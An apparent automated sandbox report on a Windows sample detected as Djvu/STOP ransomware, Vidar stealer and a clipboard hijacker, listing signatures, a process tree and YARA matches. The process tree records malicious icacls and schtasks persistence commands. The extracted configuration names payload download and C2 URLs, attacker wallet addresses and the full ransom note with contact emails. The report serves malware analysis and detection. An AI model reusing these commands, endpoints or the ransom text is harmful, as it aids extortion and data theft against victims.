Edit tour

Windows Analysis Report
U59WtZz2Sg.exe

Overview

General Information

Sample Name:	U59WtZz2Sg.exe
Analysis ID:	756302
MD5:	41001fdd7879ce9ede214e92c7e492be
SHA1:	215964b0399da37b41b7f420806a72feb72a7c28
SHA256:	aaef58ede9edbfc0cbbdd3dc7abfa9ae0f977ed1b33af4f5d7665123187801d1
Tags:	exeTeamBot
Infos:

Detection

Babuk, Clipboard Hijacker, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found ransom note / readme

Yara detected Babuk Ransomware

Antivirus detection for URL or domain

Yara detected Clipboard Hijacker

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Djvu Ransomware

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Injects a PE file into a foreign processes

Writes many files with high entropy

Writes a notice file (html or txt) to demand a ransom

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

Drops certificate files (DER)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Found dropped PE file which has not been started or loaded

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Uses cacls to modify the permissions of files

Contains functionality to launch a program with higher privileges

Found evaded block containing many API calls

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to query network adapater information

Classification

Process Tree

System is w10x64

U59WtZz2Sg.exe (PID: 5228 cmdline: C:\Users\user\Desktop\U59WtZz2Sg.exe MD5: 41001FDD7879CE9EDE214E92C7E492BE)

U59WtZz2Sg.exe (PID: 3692 cmdline: C:\Users\user\Desktop\U59WtZz2Sg.exe MD5: 41001FDD7879CE9EDE214E92C7E492BE)

icacls.exe (PID: 1304 cmdline: icacls "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: FF0D1D4317A44C951240FAE75075D501)

U59WtZz2Sg.exe (PID: 1272 cmdline: "C:\Users\user\Desktop\U59WtZz2Sg.exe" --Admin IsNotAutoStart IsNotTask MD5: 41001FDD7879CE9EDE214E92C7E492BE)

U59WtZz2Sg.exe (PID: 6132 cmdline: "C:\Users\user\Desktop\U59WtZz2Sg.exe" --Admin IsNotAutoStart IsNotTask MD5: 41001FDD7879CE9EDE214E92C7E492BE)

build2.exe (PID: 1544 cmdline: "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe" MD5: B9212DED69FAE1FA1FB5D6DB46A9FB76)

build2.exe (PID: 5364 cmdline: "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe" MD5: B9212DED69FAE1FA1FB5D6DB46A9FB76)

build3.exe (PID: 5972 cmdline: "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe" MD5: 9EAD10C08E72AE41921191F8DB39BC16)

schtasks.exe (PID: 5880 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

U59WtZz2Sg.exe (PID: 3184 cmdline: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe --Task MD5: 41001FDD7879CE9EDE214E92C7E492BE)

U59WtZz2Sg.exe (PID: 2312 cmdline: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe --Task MD5: 41001FDD7879CE9EDE214E92C7E492BE)

U59WtZz2Sg.exe (PID: 5900 cmdline: "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart MD5: 41001FDD7879CE9EDE214E92C7E492BE)

U59WtZz2Sg.exe (PID: 4296 cmdline: "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart MD5: 41001FDD7879CE9EDE214E92C7E492BE)

WMIADAP.exe (PID: 4296 cmdline: wmiadap.exe /F /T /R MD5: 9783D0765F31980950445DFD40DB15DA)

mstsca.exe (PID: 4536 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 9EAD10C08E72AE41921191F8DB39BC16)

schtasks.exe (PID: 4612 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 4712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

U59WtZz2Sg.exe (PID: 6096 cmdline: "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart MD5: 41001FDD7879CE9EDE214E92C7E492BE)

U59WtZz2Sg.exe (PID: 4756 cmdline: "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart MD5: 41001FDD7879CE9EDE214E92C7E492BE)

cleanup

Malware Configuration

Threatname: Clipboard Hijacker

{"Crypto Addresses": ["DBbgRYaKG993LFJKCWz73PZqveWsnwRmGc", "3NLzE3tXwoagBrgFsjNNkPZfrESydTD8JP", "MBD2C8QV7RDrNtSDRe9B2iH5r7yH4iMcxk", "ltc1qa5lae8k7tzcw5lcjfvfs3n0nhf0z3cgrsz2dym", "addr1qx4jwm700r2w6fneakg0r5pkg76vu7qkt6qv7zxza3qu3w9tyahu77x5a5n8nmvs78grv3a5eeupvh5qeuyv9mzpezuq60zykl", "0xa6360e294DfCe4fE4Edf61b170c76770691aA111", "42UxohbdHGMYGPvW5Uep45Jt9Rj2WvTV958B5G5vHnawZhA4UwoD53Tafn6GRmcGdoSFUfCQN6Xm37LBZZ6qNBorFw3b6s2", "89SPVUAPHDLSq5pRdf8Eo6SLnKRJ8BNSYYnvPL6iJxGP4FBCBmkeV3CTSLCbk6uydxRnub4gLH6TBRycxSAQN2m1KcnhrSZ", "LLiNjWA9h4LxVtDigLQ79xQdGiJYC4oHis", "t1VQgJMcNsBHsDyu1tXmJZjDpgbm3ftmTGN", "bnb136ns6lfw4zs5hg4n85vdthaad7hq5m4gtkgf23", "Ae2tdPwUPEZDqNhACJ3ZT5NdVjkNffGAwa4Mc9N95udKWYzt1VnFngLMnPE", "1My2QNmVqkvN5M13xk8DWftjwC9G1F2w8Z", "bc1qx8vykfse9s9llguez9cuyjmy092yeqkesl2r5v"]}

Threatname: Djvu

{"Download URLs": ["http://uaery.top/dl/build2.exe", "http://fresherlights.com/files/1/build3.exe"], "C2 url": "http://fresherlights.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-5UcwRdS3ED\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@fishmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0609djfsieE", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz0nbtFHH+ICfx8iOU3fb\\\\n2XIrnrBpAvVGXvNxA5pZWItxKj+OvFrwG\\/CEfnINrWfSr0K46pQ6f8hd+fO1tncP\\\\ns+VW+xVZVryNMzYFXUZr+uQfHpOMhRIq9fOLGo6QD9iZN3O3Ovkgr+fNybG97Hk+\\\\nlZvbXnUfctQz9D6MB4KeGeFD3yqvY7hxUTQM98u1OR1zMKoS4wlqJOl2f55agMPx\\\\nOUQZGAVuRUMQFTjO97O\\/LdPwxmS6WEFnUbS\\/p9rvAaDk\\/SP2E3JHXiO9+6inVHGa\\\\nIcs473QnGDkUz+O8KJNPyrFDKSLtu\\/TtoT7f5iE2oS\\/nQmJSQwA6eoz\\/gCv\\/GWMs\\\\ntQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: Vidar

{"C2 url": "https://t.me/asifrazatg", "Botnet": "517"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6436a:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
dump.pcap	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x64061:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x640ee:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x640ee:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x64414:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x644e2:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\flapper.gif	SUSP_GIF_Anomalies	Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type	Florian Roth
C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ScreenshotOptIn.gif	SUSP_GIF_Anomalies	Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type	Florian Roth
C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\AutoPlayOptIn.gif	SUSP_GIF_Anomalies	Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type	Florian Roth
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\flapper.gif	SUSP_GIF_Anomalies	Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type	Florian Roth
C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\OneDrive.adml	webshell_php_dynamic_big	PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k	Arnim Rupp	0x0:$php_short: <? 0x5be6:$dynamic1: $\x9DK\xE5\xC39\xF4I($
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
Click to see the 6 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000000.378213612.0000000000627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.343989029.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.350733876.0000000002105000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000000.347600742.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
